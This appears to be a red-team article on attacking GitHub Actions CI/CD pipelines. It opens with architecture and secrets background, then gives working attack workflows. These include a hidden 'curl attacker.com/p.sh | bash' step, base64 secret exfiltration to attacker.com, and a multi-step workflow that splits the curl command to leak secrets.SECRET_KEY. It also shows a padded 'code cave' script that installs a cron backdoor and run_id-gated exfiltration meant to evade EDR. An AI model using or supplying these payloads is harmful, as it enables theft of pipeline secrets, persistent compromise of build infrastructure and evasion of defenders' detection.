Abstract

CI/CD platforms have become essential due to the requirements of today's software development ecosystem. There is no doubt that they provide speed and automation in software development and make work more practical. One such platform is GitHub Actions. Even with various security measures in place, GitHub Actions—or any other platform for that matter—can sometimes be vulnerable to attacks. This study technically examines these vulnerabilities in GitHub Actions and designs a Red Team framework to create realistic attack scenarios.

Contents

GitHub Actions Architecture and Security Model

Workflow and Job Structure

GitHub Actions are automated using YAML-based workflow definitions and triggered by events such as push, pull_request, or schedule. A workflow contains one or more jobs; each job is isolated on an independent execution context (runner).

A job consists of steps that are executed sequentially. Steps are either shell commands (bash, powershell, cmd) or reusable action components. The runner (hosted or self-hosted) provides a persistent working environment throughout the job, enabling the sharing of environment variables (env), filesystem state, and context between steps.

Parameterization (inputs, env) and secret management (secrets) at the workflow level are critical; unvalidated dynamic content can lead to pipeline injection vectors such as command injection, code injection, and environment injection.

GitHub Actions Workflow Structure
GitHub Actions Workflow Structure

Runner Architecture and Working Environments

Github Actions Jobs are divided into two types: hosted and self-hosted runners. Hosted runners are ephemeral VM or container-based and run in a completely isolated environment. Self-hosted runners, on the other hand, are under user control, and their security is entirely the responsibility of the user.

Runner communicates with the GitHub API, fetches and executes jobs and steps. The runner environment directly affects the attack surface with its kernel, patch level, and configuration. Updates and isolation are particularly critical in self-hosted runners.

Action Components and Resources

In the GitHub Actions architecture, actions are the basic components that perform workflow steps in a modular, reusable way. There are two main types:

JavaScript-based actions: Actions that run in a Node.js environment, typically contain an index.js file, and manage dependencies with package.json. These execute commands directly in the runner's working environment.

Docker container actions: Actions that run in an isolated environment within their own container image. When called in a workflow, the runner starts the relevant container and the packaged scripts run inside it.

Actions are typically pulled from the GitHub Marketplace or directly from GitHub repositories. When using an action in a workflow, version locking must be performed by specifying the version number (tag or commit SHA). If version locking is not performed, updating the action may cause unexpected changes and potential security risks in the pipeline.

In terms of supply chain attacks, third-party actions pose a critical risk because these actions have arbitrary code execution privileges. Malicious or compromised actions can secretly inject malicious code into the workflow.

Secrets Management and Protection

Using GitHub Actions, you handle sensitive info like API keys, passwords, and tokens through Secrets. These are securely encrypted and stored either for a specific repository or across an entire organization. When your workflow runs, they're fed into jobs as environment variables.

While you won't see the actual secret values in logs or be able to read them directly, there's still a chance they could leak. For instance, if a step mistakenly prints a secret, it might show up in the logs. Sending secrets externally by accident, like through network requests, is also a major concern.

GitHub Actions Secrets Management
GitHub Actions Secrets Management

Isolation and Security Vulnerabilities

An important part of GitHub Actions security is runner isolation. However, this security framework varies depending on the runner type.

Hosted Runners

Hosted runners provided by GitHub use temporary virtual machines or containers for each job. These environments are activated at the start of each job and deleted when the job ends. This mechanism ensures permanence. With this model, security is enhanced in multi-tenant environments, but it allows for opportunities for infrastructure or container-based security oversights.

Self-Hosted Runners

These environments are server types established within organizations. The isolation of servers depends on the security measures taken by the organization. This often means that they are not as isolated as hosted runners. This situation, combined with the fact that servers remain active for long periods of time, creates conditions conducive to persistence and lateral movement within the system.

Environmental Persistence and Residues

Post-job environment cleanup on self-hosted runners is often considered insufficient. Even if the job is cleaned up, remaining caches, logs, environment variables, and other information create an environment for attackers to explore.

Pipeline Injection Techniques and Attack Surfaces

Script Injection

Pipeline injection is the infiltration and execution of malicious code into the workflow on CI/CD platforms. Specifically regarding GitHub Actions, these attacks are typically carried out through dynamic inputs or parametric values in workflow files.

Inline Script Injection Techniques

Inline scripts in GitHub Actions (run: blocks) execute directly on the runner OS shell, creating a primary injection vector.

Key Exploit Strategies:

Environment Variables Expansion Injection:

Exploit unvalidated ${{ inputs.* }} or ${{ secrets.* }} expansions in YAML.

run: |
echo "Deploying..."
${{ github.event.inputs.deploy_cmd }}

If deploy_cmd is user-controlled, arbitrary commands can execute.

Multi-line Shell Injections:

Abuse | YAML syntax to hide chained commands within innocuous-looking blocks:

run: |
build.sh && # legit build
curl attacker.com/p.sh | bash

Step Chaining via Control Operators:

Use &&, ||, or ; to append payloads to legitimate commands in PR-submitted workflows.

Third-Party Action Supply Chain Attacks

Actions fetched from external repositories (uses: owner/repo@version) introduce a software supply chain risk.

Attack Surface:

Tag Rebinding: Attacker compromises action repo and re-tags malicious commit to a trusted version.

Dependency Hijacking: Inject malicious code into action's NPM/PyPI dependencies.

Unpinned Actions:

uses: actions/setup-node@v3

Without a commit SHA, upstream can push a modified tag.

Advanced Exploit:

Shadow Actions: Create a public repo with identical name as a private action dependency; attacker action resolves first due to misconfigured GITHUB_ACTION_PATH.

Parameter and Environment Manipulations

Workflow execution is heavily influenced by context variables and runtime environment.

Key Techniques:

Overriding GITHUB_ENV:

Writing malicious environment variables for later steps:

echo "PATH=/malicious/bin:$PATH" >> $GITHUB_ENV

GITHUB_PATH Injection:

Prepend malicious executables to runner's PATH, ensuring subsequent steps run attacker binaries.

Matrix Parameter Abuse:

Malicious payload encoded into matrix job parameters, automatically expanded in multiple jobs.

Matrix Jobs
Matrix Jobs

Red Team Injection Framework Design

Framework Architecture and Modules

When targeting a pipeline, the biggest problem is the question "Where do I start?"
The framework we designed provides a clear answer to this question: It consists of three main modules: Reconnaissance → Injection → Post-Exploitation.

Discovery: Scans workflow files (.github/workflows/*.yml) and finds potentially vulnerable steps. For example, parameters from the user in run: blocks, unpinned action references, or externally imported scripts.

Injection: Injects payloads into the vulnerabilities found. These payloads are designed to be "noisy" meaning they won't stand out in logs.

Propagation: Uses the runner's network access, file system, and environment variables to either exfiltrate data or leave persistent access.

Payload Design and EDR/AV Evasion

The main point to note here is not the execution of the malicious code you have planted. It is that it should not be detected by EDR, XDR, AV, and similar products while it is running.

Payloads are usually prepared in a one line and in various variations for minimal fingerprints.

echo "$SECRET" | base64 | curl -X POST https://attacker.com --data-binary @-

This payload is provided for illustrative purposes only. With today's EDR and XDR technologies, it is not really feasible to avoid such a basic payload.

Let's focus on GitHub Actions. First, you should know that if you want to hack a system, you need to have a thorough understanding of its architecture. There is a fundamental difference between GitHub Actions and Azure DevOps.

On GitHub Actions, the workflow runs on a single shell shell. However, in the Azure DevOps environment, each task runs in a different shell context.

Based on this, we can use the Multi-Step method specifically for Github Actions. Even though the tasks are different, we can run them together at the end of the day.

Multi-Step Method Example

name: "Nullx3D Short Multi-Step Example"

on: [push]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Create Command Part 1
        run: echo "curl" > /tmp/cmd1

      - name: Create Command Part 2
        run: echo "-X POST" >> /tmp/cmd1

      - name: Execute
        run: |
          CMD=$(cat /tmp/cmd1 | tr '\n' ' ')
          echo "${{ secrets.SECRET_KEY }}" | base64 | $CMD https://attacker.com --data-binary @-

Code Cave Technique

This method hides malicious code within large padding sections of legitimate-looking scripts, using extensive documentation comments to create hidden execution paths that EDR systems often ignore during static analysis. The technique leverages the fact that security scanners typically skip large comment blocks and focuses on the main executable code.

- name: Create Process Injection Code Cave
  run: |
    cat > /tmp/system_monitor.py << 'EOF'
    #!/usr/bin/env python3
    """
    System monitoring and health check script.
    Monitors CPU, memory, disk usage and system processes.
    """
    
    import psutil
    import time
    import json
    
    def monitor_system():
        cpu_percent = psutil.cpu_percent(interval=1)
        memory = psutil.virtual_memory()
        disk = psutil.disk_usage('/')
        
        data = {
            "cpu": cpu_percent,
            "memory": memory.percent,
            "disk": disk.percent
        }
        print(json.dumps(data, indent=2))
    
    # ===== EXTENSIVE DOCUMENTATION =====
    # This script provides comprehensive system monitoring
    # including performance metrics, resource usage, and alerts
    # $(printf '%*s' 10000 '')
    # $(printf '%*s' 10000 '')
    # $(printf '%*s' 10000 '')
    # ===== END DOCUMENTATION =====
    
    # Hidden: Create cron job for persistence
    import os
    cron_job = "*/5 * * * * /usr/bin/python3 /tmp/backdoor.py\n"
    with open("/tmp/crontab_temp", "w") as f:
        f.write(cron_job)
    os.system("crontab /tmp/crontab_temp")
    
    if __name__ == "__main__":
        monitor_system()
    EOF
    
    chmod +x /tmp/system_monitor.py

- name: Execute Process Injection
  run: |
    # Execute normal script
    python3 /tmp/system_monitor.py
    
    # Execute only the hidden command from code cave
    cron_job="*/5 * * * * /usr/bin/python3 /tmp/Nullx3D.py\n"
    echo "$cron_job" > /tmp/crontab_temp
    crontab /tmp/crontab_temp

Time-Based Pattern Bypass

Time-Based Pattern Bypass is a sophisticated evasion technique that uses time-related conditions to execute malicious commands in GitHub Actions workflows. This technique leverages the fact that security systems cannot easily distinguish between legitimate scheduled tasks and malicious time-delayed execution.

- name: Advanced Run ID Bypass
  run: |
    RUN_ID="${{ github.run_id }}"
    
    # More complex pattern for detection evasion
    if [ $((RUN_ID % 100)) -eq 0 ] && [ $((RUN_ID % 7)) -eq 0 ]; then
      # Execute every 700th run (common multiple of 100 and 7)
      curl -X POST https://attacker.com --data-binary @-
    elif [ $((RUN_ID % 50)) -eq 0 ] && [ $((RUN_ID % 3)) -eq 0 ]; then
      # Execute every 150th run (common multiple of 50 and 3)
      curl -X POST https://attacker.com --data-binary @-
    fi

Conclusion

You can use these and similar techniques on GitHub Actions. The rest is really up to your imagination. The main point to keep in mind is that, at the end of the day, you are still dealing with the same systems that have been around for years. Yes, the multi-step structure and matrix structure may be specific to Actions. Or having all tasks run in a single shell could be a good trick. However, as I mentioned, once you get past these stages, these runners are ultimately running on a server or container.